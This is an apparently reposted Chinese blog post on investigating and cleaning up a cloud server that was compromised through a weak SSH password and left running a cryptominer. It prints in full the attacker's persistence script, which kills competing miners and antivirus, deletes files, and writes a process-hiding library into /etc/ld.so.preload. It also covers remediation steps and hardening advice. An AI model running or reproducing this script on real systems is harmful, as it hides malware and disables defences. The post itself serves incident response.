点击上方“Java基基”,选择“设为星标”
做积极的人,而不是积极废人!
每天 14:00 更新文章,每天掉亿点点头发...
源码精品专栏
下文中的,给文件和目录加锁,是指给文件和目录增加了一些属性,只读等。chattr +ia
一、服务器入侵现象
近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵,具体现象是:服务器 CPU 资源长期 100%,负载较高。服务器上面的服务不能正常提供服务。
![3004ad0a01155465255ed1038a614c91.png](https://i-blog.csdnimg.cn/blog_migrate/9142149d97e86a27cccfa9dca063dc58.png)
朋友处理了一会没有解决,我开始想说我不是搞安全的,我怎么会,但朋友开出了天价,一顿海底捞,我在生活和现实面前低头了。开始上手看看了。
基于 Spring Boot + MyBatis Plus + Vue & Element 实现的后台管理系统 + 用户小程序,支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信、商城等功能
项目地址:https://gitee.com/zhijiantianya/ruoyi-vue-pro
视频教程:https://doc.iocoder.cn/video/
二、服务器排查和处理
2.1、服务器被入侵的可能原因
服务器 ssh 密码 设置得很简单。
腾讯云安全组范围放得很大。
使用了宝塔,宝塔面板的密码也是很简单的密码(应该不是这个入侵入口)。
2.2、排查和处理步骤
1、ps -ef / top 找出占用进程最大的服务
问题现象
ps/top 命令 已经被替换了。
![019d65a029be8fcdcb03c5c98b93b991.png](https://i-blog.csdnimg.cn/blog_migrate/e3df92149a92e653d1d2f788e051a5b4.png)
2、查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure。
问题现象
[root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure
Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8
lighthouse 腾讯云轻量服务器
我们在这里就可以看到,有一些境外IP 34.215.138.2 成功登录了,这些 IP不是我们的正常登录。在 /var/log/secure 日志里,我看到了 IP 34.215.138.2 尝试登录不到500次 就已经破解成功了。
处理措施
这里我们立马采取了第一个措施,
在腾讯云安全组限制了 SSH 的登录IP, 之前的安全组 SSH 是放行所有IP。
将 SSH ROOT 密码修改。
/root/.ssh/authorized_keys 备份,并清空。
[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak
cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied
这时我们就遇到了权限的问题,这个晚点展开讲,因为我们已经限制了源IP, 所以这个我们可以晚点来处理。
3、查看最近新增的一些用户
问题现象
cat /etc/passwd
![334dbcffd80a34a865332bc107eae6fb.png](https://i-blog.csdnimg.cn/blog_migrate/18b622909ba284ed74f52420ac64f951.png)
处理措施
锁定用户
[root@VM-12-12-centos ~]# usermod -L sys1
4、我这里不计划去找进程(已经在新建一台版本一致的系统, 来拷贝 top 和 ps 命令,需要一小会,我们趁这个时间,先看看其他),因为之前朋友重启过服务器,发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。
问题现象
定时任务
crond 读取配置文件会从以下几个路径读取:
/var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户
/etc/crontab ,只能root 进行编辑,配置文件需指定用户
/etc/cron.d/ ,在此文件夹下创建定时任务文件,配置文件需指定用户
/etc/cron.*
/var/spool/cron/ 未找到(后面会说到这里有障眼法)
![2c290bc1210c105366fad59e15e62cda.png](https://i-blog.csdnimg.cn/blog_migrate/c79f1517f79d3cffc3e42fa33cb944a3.png)
/etc/crontab 未找到(后面会说到这里有障眼法)
但是我在 /var/log/cron 一直看到有任务执行。每间隔5分钟。
Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
处理措施
这里我们先做的操作就是,先把 /usr/lib/mysql/mysql 和 /sbin/httpss 给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了,所以我开始解锁,我们发现 chattr 也被替换和锁住了。所以不能操作下去了。
开机启动脚本
/etc/rc.local , 我们也发现了一个脚本。
[root@VM-12-12-centos ~]# cat /etc/rc.local
#!/bin/bash
> 基于 Spring Cloud Alibaba + Gateway + Nacos + RocketMQ + Vue & Element 实现的后台管理系统 + 用户小程序,支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信、商城等功能
>
> * 项目地址:<https://gitee.com/zhijiantianya/yudao-cloud>
> * 视频教程:<https://doc.iocoder.cn/video/>
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.
/usr/bin/0f4f80f9ab start
但是这个文件好像不存在的,我们就把这个给注释了。
5、还原更改了 top、ps、chattr、lsattr.
首先我们从相同版本的机器拷贝了 chattr、lsattr, 我们得先操作这个, 因为我们的 top 和 ps 都被锁住了。
我将文件上传至 /tmp 目录,然后增加可执行权限,然后先给 /usr/bin/chattr 解除锁定。
/tmp/chattr -ai /usr/bin/chattr
执行完之后,发现还是不能替换 /usr/bin/chattr。最后耗费了一段时间才反应到,入侵者可能不仅仅加锁了文件还加锁了 /usr/bin/。
解锁目录
/tmp/chattr -ai /usr/bin/
这下才能把 /usr/bin/chattr 给替换掉。
接下来参考这些,我们把 top 和 ps 、lsattr 给还原了。
部分截图
![35f5667a5263431115c209b232c216e0.png](https://i-blog.csdnimg.cn/blog_migrate/c685fced7060b5d92d50978f816b3732.png)
三、本次入侵需要带来启示的点
1、ps 、top 、chattr 、lsattr
在这些命令被替换了,并且我们想还原又还原不了的场景,我们可以拷贝同版本的机器相同的命令放在其它目录,用这些命令来解除入侵者将它已经替换并锁定了文件。注意有些入侵者不仅会在文件层面加锁,还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。
2、文件内容隐藏
上文中,我执行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。发现文件没有内容。
其实不知道使用了什么特殊字符还是什么隐藏了, 其实是存在定时任务的。
示例:
![f22fa68c0ec5a863af6bd792984cda1d.png](https://i-blog.csdnimg.cn/blog_migrate/53b5cf8a7e0e258663ff0e48cb7f99a8.png)
![e7643219cdf7667d5cff430ebb0afa2a.png](https://i-blog.csdnimg.cn/blog_migrate/a3295d7f56d87f5c91890f26869952fc.png)
![55a74db58aeb7a76b5c34613cdde3ff2.png](https://i-blog.csdnimg.cn/blog_migrate/f726db843575a5990519fcb0a0f35c5b.png)
这个配置是如何导致 cat/more 看不了的, 今天再次看了下,这个文件可能是被当成了数据文件,因为我把这个文件 file 查看了之后,文件属性是data. 然后文件包含的特殊字符,导致隐藏了。
3、其中一个脚本。
[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464
#!/bin/sh
while test 1 = 1
do
sleep 30
pkill -f main
killall main
killall sprshduerjsaia
pkill -f sprshduerjsaia
killall dr64
pkill -f dr64
killall .report_system
pkill -f .report_system
killall sshc
pkill -f sshc
pkill -f memory
killall memory
killall warmup
killall koko
killall kthreaddk
killall systemc
killall cront
killall xm64_linux
killall /var/tmp/j/./intelshell
pkill -f dos32
pkill -f dos64
pkill -f .name
pkill -f /usr/sbin/dbus
pkill -f systemd-boot-check-no-failures
killall .report_system
pkill -f .report_system
pkill -f keep-alive
pkill -f linu
pkill -f zapppp
killall [scan]
killall [ext4]
pkill -f xm64_linux
pkill -f ddrirc
killall ./-bash
pkill -f ./-bash
killall kworkers
killall dbus
pkill -f biden1
pkill -f cpuminer-sse2
killall work64
pkill -f work64
killall work32
pkill -f work32
killall aarch12
pkill -f aarch12
killall bash1
pkill -f bash1
killall intelshell
pkill -f intelshell
killall heaven
pkill -f heaven
killall .syst3md
pkill -f .syst3md
pkill -f apachelogs
killall .meinkampf
pkill -f .meinkampf
killall xri
pkill -f xri
killall koko
pkill -f koko
killall work32-deamon
pkill -f work32-deamon
killall work64 -deamon
pkill -f work64 -deamon
killall secure.sh
pkill -f secure.sh
kkillall auth.sh
pkill -f auth.sh
killall autoupdate
pkill -f kworkers
pkill -f autoupdate
killall ld-linux
pkill -f ld-linux
pkill -9 Donald
killall -9 Donald
pkill -f /usr/local/bin/pnscan
pkill -f /usr/bin/biden1
killall /usr/bin/biden1
killall r
killall trace
pkill -f minerd
killall minerd
pkill -f xm64
killall xm64
pkill -f sysdm
killall sysdm
pkill -f syst3md
killall syst3md
pkill -f xrig
killall xrig
pkill -f busybox
killall busybox
pkill -f joseph
killall joseph
pkill -f osama
killall osama
killall daemon
pkill -f obama1
killall obama1
pkill -f kswapd0
killall kswapd0
pkill -f jehgms
killall jehgms
pkill -f tsm
killall tsm
pkill -f rig
killall rig
pkill -f xmr
killall xmr
pkill -f playstation
killall playstation
pkill -f ld-linux-x86-64
killall ld-linux-x86-64
pkill -f ruckusapd
killall ruckusapd
pkill -f run64
killall run64
pkill -f pwnrig
killall pwnrig
pkill -f phpupdate
killall phpupdate
pkill -f sysupdate
killall sysupdate
pkill -f phpguard
killall phpguard
pkill -f firstpress
killall firstpress
pkill -f zerocert
killall zerocert
pkill -f masscan
killall masscan
pkill -f -bash
pkill -f spreadQlmnop
killall spreadQlmnop
killall -bash
pkill -f cnrig
killall cnrig
pkill -f netvhost
killall netvhost
pkill -f kthreadds
killall kthreadds
pkill -f kthreadd
killall kthreadd
pkill -f kdevtmpfsi
killall kdevtmpfsi
pkill -f linuxservice
killall linuxservice
pkill -f rtmonitor
killall rtmonitor
pkill -f dev
killall dev
pkill -f xmrig
killall xmrig
pkill -f master
killall master
killall sysmd
pkill -f sysmd
pkill -f sendmail
killall sendmail
pkill -f ld-musl-x86_64.
killall ld-musl-x86_64.
killall watchdog
pkill -f watchdog
pkill -f 32678
killall 32678
killall dhpcd
pkill -f dhpcd
killall linux_amd64
pkill -f linux_amd64
killall xredis
pkill -f xredis
killall Linux2.6
killall .chornyd
pkill -f .chornyd
killall Opera
pkill -f Opera
killall libertyd
pkill -f libertyd
killall rcubind
pkill -f rcubind
killall clamscan
pkill -f clamscan
killall pnscan
pkill -f pnscan
killall zzh
pkill -f zzh
killall bioser
pkill -f bioser
rm -rf /root/.configrc/
rm -rf /tmp/.X26-unix/
rm -rf /tmp/.bash/
rm -rf /root/.bash/
rm -rf /root/.cache/
rm -rf /tmp/.cache/
rm -rf /dev/shm/.ssh/
rm -rf /etc/.etcservice/linuxservice
rm -rf /etc/.vhost/netvhost
rm -rf /tmp/up.txt
rm -rf /var/tmp/.update/
rm -rf /var/tmp/.systemd/
rm -rf /usr/sbin/.bash./.bash/
rm -rf /etc/master
rm -rf /usr/bin/busybox
rm -rf /bin/sysmd
rm -rf /tmp/.mx/
rm -rf /dev/shm/.mx/
rm -rf /usr/bin/xrig
rm -rf /etc/32678
rm -rf /root/c3pool/
rm -rf /usr/bin/.sshd/
rm -rf /tmp/div
systemctl stop c3pool_miner.service
systemctl stop pwnriglhttps.service
systemctl stop cryto
systemctl stop scan
systemctl stop bot
systemctl stop myservice.service
systemctl stop netns.service
systemctl stop cryptsetup.service
echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
lockr +ai /etc/ld.so.preload >/dev/null 2>&1
chmod 777 /usr/lib/mysql/*
/usr/lib/mysql/./mysql
done
我们可以看到这个脚本其实一直在 更改 /etc/ld.so.preload 的内容。并且在关闭一些扫描软件和系统的服务。
在 Linux 操作系统的动态链接库加载过程中,动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容,并将读取到的动态链接库进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载,它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》
我已经删除了 /usr/local/lib/libprocesshider.so 文件,之后每次执行命令会有这个报错。
![0df4501a6063a522d7d0a1245558dfe4.png](https://i-blog.csdnimg.cn/blog_migrate/04b6b616d6c0d6ae613960e823765886.png)
我在清空文件 /etc/ld.so.preload 之后,我发现好了一会后,还是出现这个,我再看 /etc/ld.so.preload 文件,里面又写了 /usr/local/lib/libprocesshider.so ,我怀疑还有定时任务,但是我找了一会定时任务,还是没有找到。后面在查看异常进程的时候,我看到了这个进程
![e2098a7539449bfa11f760055aca6fcf.png](https://i-blog.csdnimg.cn/blog_migrate/d1548ff9040232d6b67bbc740385d102.png)
![788be9a280e7ec2f0643f35d13a71288.png](https://i-blog.csdnimg.cn/blog_migrate/7813848f9d58c394590a7718df1a3fc4.png)
发现这个脚本的就是一直在循环执行上面内容。将这个进程 kill 后,然后删除脚本。
四、本次服务器被入侵的一些启示
1、用好云厂家的安全组。对一些关键端口,放行规则尽量最小/
2、服务器相关的一些密码尽量增加复杂性。
3、增加对一些关键文件的监控. (通过监控软件监控 md5值)
/etc/passwd
/etc/shadow
/etc/group
/root/.bash_history
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/etc/profile
/var/spool/cron/root
/etc/crontab
/etc/ld.so.preload
/etc/rc.local
lsof
ps
netstat
top
ls
pstree
last
history
sudo
password
chattr
lsattr
4、服务器入侵之后,我们需要怎么处理才是最好的。
https://cloud.tencent.com/document/product/296/9604 https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST
服务器如果有开放SSH 远程登录,可以设置限制登录(安全组、或者服务),只放行自己的IP. 查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure
/root/.ssh/authorized_keys /etc/passwd 这些文件也可以看下。将一些新建的用户锁定。
服务器如果可以关闭外网,就关闭外网。在安全组层面设置下,或者路由或者NAT。
首先看下 ps/top 命令有没有被篡改, 如果有的话, 从其他正常的机器上拷贝至服务器上。然后执行查看异常进程。也要查询下 /etc/ld.so.preload 是否有被篡改。如果有的的话,记得清空里面的内容,然后将对应的文件删除或者重命名。
如果使用过程中遇到了文件不可删,不可改的问题,需要使用 chattr -ia 文件名 如果 chattr 也被串改,那就需要从别的机器拷贝。然后复原。
如果上述没有找到,可以通过 netstat 间接查看异常的连接从而查询异常进程。
检查开机启动 和 crontab 相关的内容 。
检查异常进程。
以上就是这次入侵的处理过程和得到的一些小启示,后续有了解新的会继续补充。
欢迎加入我的知识星球,一起探讨架构,交流源码。加入方式,长按下方二维码噢:
已在知识星球更新源码解析如下:
最近更新《芋道 SpringBoot 2.X 入门》系列,已经 101 余篇,覆盖了 MyBatis、Redis、MongoDB、ES、分库分表、读写分离、SpringMVC、Webflux、权限、WebSocket、Dubbo、RabbitMQ、RocketMQ、Kafka、性能测试等等内容。
提供近 3W 行代码的 SpringBoot 示例,以及超 6W 行代码的电商微服务项目。
获取方式:点“在看”,关注公众号并回复 666 领取,更多内容陆续奉上。
文章有帮助的话,在看,转发吧。
谢谢支持哟 (*^__^*)